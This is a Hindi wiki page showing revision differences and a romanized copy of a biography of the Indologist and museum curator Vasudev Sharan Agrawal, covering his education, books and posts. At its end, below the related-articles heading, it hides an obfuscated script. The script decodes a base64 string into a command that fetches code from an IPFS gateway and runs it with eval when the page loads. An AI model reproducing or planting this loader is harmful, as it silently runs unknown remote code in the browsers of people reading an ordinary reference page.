Difference between revisions of "वासुदेव शरण अग्रवाल"
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− | '''वासुदेव शरण अग्रवाल''' (जन्म- [[7 अगस्त]], [[1904]], [[ग़ाज़ियाबाद]], [[उत्तर प्रदेश]]; मृत्यु- [[26 जुलाई]], [[1966]]) [[भारत]] के प्रसिद्ध विद्वानों में से एक थे। वे [[भारत का इतिहास|भारत के इतिहास]], [[संस्कृति]], [[कला]], [[साहित्य]] और प्राच्य विद्या आदि विषयों के विशेषज्ञ थे। वासुदेव शरण अग्रवाल 'हिन्दी विश्वकोश सम्पादक मण्डल' के प्रमुख सदस्य थे। उन्होंने [[मथुरा संग्रहालय]] ([[उत्तर प्रदेश]]) के संग्रहाध्यक्ष के रूप में अपनी सेवाएँ प्रदान की थीं। उनकी प्रसिद्ध पुस्तक 'पाणिनिकालीन भारतवर्ष' में [[भारत की संस्कृति]], कला और साहित्य आदि पर प्रकाश डाला गया है। उन्हें साहित्य अकादमी द्वारा पुरस्कृत भी किया गया था। | + | {{सूचना बक्सा साहित्यकार |
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+ | '''वासुदेव शरण अग्रवाल''' ([[अंग्रेज़ी]]: ''Vasudev Sharan Agrawal'', जन्म- [[7 अगस्त]], [[1904]], [[ग़ाज़ियाबाद]], [[उत्तर प्रदेश]]; मृत्यु- [[26 जुलाई]], [[1966]]) [[भारत]] के प्रसिद्ध विद्वानों में से एक थे। वे [[भारत का इतिहास|भारत के इतिहास]], [[संस्कृति]], [[कला]], [[साहित्य]] और प्राच्य विद्या आदि विषयों के विशेषज्ञ थे। वासुदेव शरण अग्रवाल 'हिन्दी विश्वकोश सम्पादक मण्डल' के प्रमुख सदस्य थे। उन्होंने [[मथुरा संग्रहालय]] ([[उत्तर प्रदेश]]) के संग्रहाध्यक्ष के रूप में अपनी सेवाएँ प्रदान की थीं। उनकी प्रसिद्ध पुस्तक 'पाणिनिकालीन भारतवर्ष' में [[भारत की संस्कृति]], कला और साहित्य आदि पर प्रकाश डाला गया है। उन्हें [[साहित्य अकादमी]] द्वारा पुरस्कृत भी किया गया था। | ||
==जन्म== | ==जन्म== | ||
− | प्राच्य विद्या के प्रसिद्ध विद्वान डॉ. वासुदेव शरण अग्रवाल का जन्म 7 अगस्त, 1904 ई. को [[ग़ाज़ियाबाद]] ([[उत्तर प्रदेश]]) के 'खेड़ा' नामक गाँव में हुआ था। इनकी छोटी उम्र में ही इनका [[माँ]] का देहांत हो गया था, जिस कारण [[दादी]] ने ही उनका लालन-पालन किया। | + | प्राच्य विद्या के प्रसिद्ध विद्वान डॉ. वासुदेव शरण अग्रवाल का जन्म 7 अगस्त, 1904 ई. को [[ग़ाज़ियाबाद]] ([[उत्तर प्रदेश]]) के 'खेड़ा' नामक [[गाँव]] में हुआ था। इनकी छोटी उम्र में ही इनका [[माँ]] का देहांत हो गया था, जिस कारण [[दादी]] ने ही उनका लालन-पालन किया। |
====शिक्षा==== | ====शिक्षा==== | ||
− | जिस समय [[1920]] में [[राष्ट्रपिता महात्मा गाँधी]] ने '[[भारतीय इतिहास]]' में प्रसिद्ध अपना '[[असहयोग आंदोलन]]' आंरभ किया, उस समय वासुदेव शरण [[लखनऊ]] में शिक्षा प्राप्त कर रहे थे। साथ ही वे एक अन्य विद्वान से [[संस्कृत]] का विशेष अध्ययन भी कर रहे थे। आंदोलन के प्रभाव से उन्होंने सरकारी विद्यालय छोड़ दिया और खादी के वस्त्र धारण कर लिए। किंतु जब गाँधीजी ने आंदोलन वापस ले लिया तो उन्होंने फिर औपचारिक शिक्षा आरंभ की और '[[काशी हिन्दू विश्वविद्यालय]]' से स्नातक बन कर एम. ए और एलएल. बी. की शिक्षा के लिए लखनऊ आ गए। आगे चलकर इसी विश्वविद्यालय से उन्हें पी.एच.डी. और डी.लिट की उपाधियाँ मिलीं। | + | जिस समय [[1920]] में [[राष्ट्रपिता महात्मा गाँधी]] ने '[[भारतीय इतिहास]]' में प्रसिद्ध अपना '[[असहयोग आंदोलन]]' आंरभ किया, उस समय वासुदेव शरण [[लखनऊ]] में शिक्षा प्राप्त कर रहे थे। साथ ही वे एक अन्य विद्वान से [[संस्कृत]] का विशेष अध्ययन भी कर रहे थे। आंदोलन के प्रभाव से उन्होंने सरकारी विद्यालय छोड़ दिया और खादी के वस्त्र धारण कर लिए। किंतु जब गाँधीजी ने आंदोलन वापस ले लिया तो उन्होंने फिर औपचारिक शिक्षा आरंभ की और '[[काशी हिन्दू विश्वविद्यालय]]' से स्नातक बन कर एम.ए और एलएल. बी. की शिक्षा के लिए लखनऊ आ गए। आगे चलकर इसी विश्वविद्यालय से उन्हें पी.एच.डी. और डी.लिट की उपाधियाँ मिलीं। |
==कृतियाँ== | ==कृतियाँ== | ||
− | वासुदेव शरण अग्रवाल [[भारत का इतिहास|भारत के इतिहास]], [[संस्कृति]], [[कला]] एवं [[साहित्य]] के विद्वान थे। वे 'साहित्य अकादमी' द्वारा पुरस्कृत [[हिन्दी]] गद्यकार थे। 'पाणिनिकालीन भारतवर्ष' नामक उनकी कृति भारतविद्या का अनुपम [[ग्रन्थ]] है। इसमें | + | वासुदेव शरण अग्रवाल [[भारत का इतिहास|भारत के इतिहास]], [[संस्कृति]], [[कला]] एवं [[साहित्य]] के विद्वान थे। वे 'साहित्य अकादमी' द्वारा पुरस्कृत [[हिन्दी]] गद्यकार थे। 'पाणिनिकालीन भारतवर्ष' नामक उनकी कृति भारतविद्या का अनुपम [[ग्रन्थ]] है। इसमें उन्होंने [[पाणिनि]] के '[[अष्टाध्यायी]]' के माध्यम से भारत की संस्कृति एवं जीवन दर्शन पर प्रकाश डाला है। उन्होंने [[साहित्य]] के सहारे [[भारत]] का पुन: अनुसंधान किया है, जिसमें उन्होंने वैज्ञानिक एवं तर्कपूर्ण विधि का प्रयोग किया है। उनकी निम्नलिखित कृतियाँ भी बहुत प्रसिद्ध हैं- |
#"मलिक मुहम्मद जायसी - पद्मावत" | #"मलिक मुहम्मद जायसी - पद्मावत" | ||
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*वासुदेव शरण अग्रवाल 'हिन्दी विश्वकोश' के सम्पादक-मण्डल के प्रमुख सदस्य थे। | *वासुदेव शरण अग्रवाल 'हिन्दी विश्वकोश' के सम्पादक-मण्डल के प्रमुख सदस्य थे। | ||
==उच्च पदों पर कार्य== | ==उच्च पदों पर कार्य== | ||
− | वासुदेव शरण अग्रवाल ने [[उत्तर प्रदेश]] में '[[मथुरा संग्रहालय]]' के क्यूरेटर (संग्रहाध्यक्ष) के रूप में भी अपनी सेवाएँ प्रदान की थीं। वे [[लखनऊ]] के प्रांतीय संग्रहालय के भी क्यूरेटर रहे। स्वतंत्रता के बाद [[दिल्ली]] में स्थापित 'राष्ट्रीय पुरातत्त्व संग्रहालय' की स्थापना में इनका प्रमुख योगदान था। छह वर्ष तक दिल्ली में रहने के उपरांत वे '[[काशी हिन्दू विश्वविद्यालय]]' के 'भारतीय विद्या संस्थान' के प्रमुख बनकर [[वाराणसी]] चले गए। [[1951]] से [[1966]] तक जीवन पर्यंत वे इस पद पर रहे। पंद्रह वर्षों के इस कार्यकाल में उन्होंने [[वेद]], [[उपनिषद]], [[पुराण]], [[महाभारत]], काव्य साहित्य सृजित किया। वह अपने क्षेत्र में युग निर्माणकारी माने जाते हैं। फुटकर [[निबंध|निबंधों]] के अतिरिक्त इन विषयों पर उन्होंने [[हिन्दी]] में लगभग 36 और [[अंग्रेजी भाषा|अंग्रेजी]] में 23 [[ग्रंथ|ग्रंथों]] की रचना की थी। इनमें वेद विद्या संबंधी ग्रंथ हैं, पुराणों का अध्ययन है, महाभारत की सांस्कृतिक [[मीमांसा दर्शन|मीमांसा]] है, '[[मेघदूत]]', '[[कादम्बरी]]', '[[पद्मावत]]' जैसे ग्रंथों की व्याख्या है। अपने इस विशेष योगदान के कारण उनका विद्वानों में और साधारण पाठकों दोनों में बड़ा सम्मान था। | + | वासुदेव शरण अग्रवाल ने [[उत्तर प्रदेश]] में '[[मथुरा संग्रहालय]]' के क्यूरेटर (संग्रहाध्यक्ष) के रूप में भी अपनी सेवाएँ प्रदान की थीं। वे [[लखनऊ]] के प्रांतीय संग्रहालय के भी क्यूरेटर रहे। स्वतंत्रता के बाद [[दिल्ली]] में स्थापित '[[राष्ट्रीय संग्रहालय दिल्ली|राष्ट्रीय पुरातत्त्व संग्रहालय]]' की स्थापना में इनका प्रमुख योगदान था। छह वर्ष तक दिल्ली में रहने के उपरांत वे '[[काशी हिन्दू विश्वविद्यालय]]' के 'भारतीय विद्या संस्थान' के प्रमुख बनकर [[वाराणसी]] चले गए। [[1951]] से [[1966]] तक जीवन पर्यंत वे इस पद पर रहे। पंद्रह वर्षों के इस कार्यकाल में उन्होंने [[वेद]], [[उपनिषद]], [[पुराण]], [[महाभारत]], काव्य साहित्य सृजित किया। वह अपने क्षेत्र में युग निर्माणकारी माने जाते हैं। फुटकर [[निबंध|निबंधों]] के अतिरिक्त इन विषयों पर उन्होंने [[हिन्दी]] में लगभग 36 और [[अंग्रेजी भाषा|अंग्रेजी]] में 23 [[ग्रंथ|ग्रंथों]] की रचना की थी। इनमें [[वेद]] विद्या संबंधी ग्रंथ हैं, [[पुराण|पुराणों]] का अध्ययन है, [[महाभारत]] की सांस्कृतिक [[मीमांसा दर्शन|मीमांसा]] है, '[[मेघदूत]]', '[[कादम्बरी]]', '[[पद्मावत]]' जैसे ग्रंथों की व्याख्या है। अपने इस विशेष योगदान के कारण उनका विद्वानों में और साधारण पाठकों दोनों में बड़ा सम्मान था। |
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वासुदेव शरण अग्रवाल का निधन [[26 जुलाई]], [[1966]] को हुआ। | वासुदेव शरण अग्रवाल का निधन [[26 जुलाई]], [[1966]] को हुआ। | ||
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Latest revision as of 05:48, 7 August 2018
vasudev sharan agraval
| |
poora nam | vasudev sharan agraval |
janm | 7 agast, 1904 |
janm bhoomi | gaziyabad, uttar pradesh |
mrityu | 26 julaee, 1966 |
karm bhoomi | bharat |
mukhy rachanaean | 'paninikalin bharatavarsh', 'malik muhammad jayasi-padmavat', 'harshacharit-ek saanskritik adhyayan'. |
vidyalay | 'kashi hindoo vishvavidyalay' |
shiksha | em.e.; elel. bi. |
puraskar-upadhi | pi.ech.di. aur di.lit |
prasiddhi | vidvan tatha lekhak |
vishesh yogadan | svatantrata ke bad dilli mean sthapit 'rashtriy puratattv sangrahalay' ki sthapana mean inaka pramukh yogadan tha. |
nagarikata | bharatiy |
any janakari | apane 'mathura sangrahalay' (uttar pradesh) ke sangrahadhyaksh ke roop mean bhi apani sevaean pradan ki thian. |
inhean bhi dekhean | kavi soochi, sahityakar soochi |
vasudev sharan agraval (aangrezi: Vasudev Sharan Agrawal, janm- 7 agast, 1904, gaziyabad, uttar pradesh; mrityu- 26 julaee, 1966) bharat ke prasiddh vidvanoan mean se ek the. ve bharat ke itihas, sanskriti, kala, sahity aur prachy vidya adi vishayoan ke visheshajn the. vasudev sharan agraval 'hindi vishvakosh sampadak mandal' ke pramukh sadasy the. unhoanne mathura sangrahalay (uttar pradesh) ke sangrahadhyaksh ke roop mean apani sevaean pradan ki thian. unaki prasiddh pustak 'paninikalin bharatavarsh' mean bharat ki sanskriti, kala aur sahity adi par prakash dala gaya hai. unhean sahity akadami dvara puraskrit bhi kiya gaya tha.
janm
prachy vidya ke prasiddh vidvan d aau. vasudev sharan agraval ka janm 7 agast, 1904 ee. ko gaziyabad (uttar pradesh) ke 'khe da' namak gaanv mean hua tha. inaki chhoti umr mean hi inaka maan ka dehaant ho gaya tha, jis karan dadi ne hi unaka lalan-palan kiya.
shiksha
jis samay 1920 mean rashtrapita mahatma gaandhi ne 'bharatiy itihas' mean prasiddh apana 'asahayog aandolan' aanrabh kiya, us samay vasudev sharan lakhanoo mean shiksha prapt kar rahe the. sath hi ve ek any vidvan se sanskrit ka vishesh adhyayan bhi kar rahe the. aandolan ke prabhav se unhoanne sarakari vidyalay chho d diya aur khadi ke vastr dharan kar lie. kiantu jab gaandhiji ne aandolan vapas le liya to unhoanne phir aupacharik shiksha aranbh ki aur 'kashi hindoo vishvavidyalay' se snatak ban kar em.e aur elel. bi. ki shiksha ke lie lakhanoo a ge. age chalakar isi vishvavidyalay se unhean pi.ech.di. aur di.lit ki upadhiyaan milian.
kritiyaan
vasudev sharan agraval bharat ke itihas, sanskriti, kala evan sahity ke vidvan the. ve 'sahity akadami' dvara puraskrit hindi gadyakar the. 'paninikalin bharatavarsh' namak unaki kriti bharatavidya ka anupam granth hai. isamean unhoanne panini ke 'ashtadhyayi' ke madhyam se bharat ki sanskriti evan jivan darshan par prakash dala hai. unhoanne sahity ke sahare bharat ka pun: anusandhan kiya hai, jisamean unhoanne vaijnanik evan tarkapoorn vidhi ka prayog kiya hai. unaki nimnalikhit kritiyaan bhi bahut prasiddh haian-
- "malik muhammad jayasi - padmavat"
- "harshacharit - ek saanskritik adhyayan"
- vasudev sharan agraval 'hindi vishvakosh' ke sampadak-mandal ke pramukh sadasy the.
uchch padoan par kary
vasudev sharan agraval ne uttar pradesh mean 'mathura sangrahalay' ke kyooretar (sangrahadhyaksh) ke roop mean bhi apani sevaean pradan ki thian. ve lakhanoo ke praantiy sangrahalay ke bhi kyooretar rahe. svatantrata ke bad dilli mean sthapit 'rashtriy puratattv sangrahalay' ki sthapana mean inaka pramukh yogadan tha. chhah varsh tak dilli mean rahane ke uparaant ve 'kashi hindoo vishvavidyalay' ke 'bharatiy vidya sansthan' ke pramukh banakar varanasi chale ge. 1951 se 1966 tak jivan paryant ve is pad par rahe. pandrah varshoan ke is karyakal mean unhoanne ved, upanishad, puran, mahabharat, kavy sahity srijit kiya. vah apane kshetr mean yug nirmanakari mane jate haian. phutakar nibandhoan ke atirikt in vishayoan par unhoanne hindi mean lagabhag 36 aur aangreji mean 23 granthoan ki rachana ki thi. inamean ved vidya sanbandhi granth haian, puranoan ka adhyayan hai, mahabharat ki saanskritik mimaansa hai, 'meghadoot', 'kadambari', 'padmavat' jaise granthoan ki vyakhya hai. apane is vishesh yogadan ke karan unaka vidvanoan mean aur sadharan pathakoan donoan mean b da samman tha.
nidhan
vasudev sharan agraval ka nidhan 26 julaee, 1966 ko hua.
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tika tippani aur sandarbh
sharma, liladhar bharatiy charit kosh (hindi). bharat diskavari pustakalay: shiksha bharati, dilli, prishth 786.
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>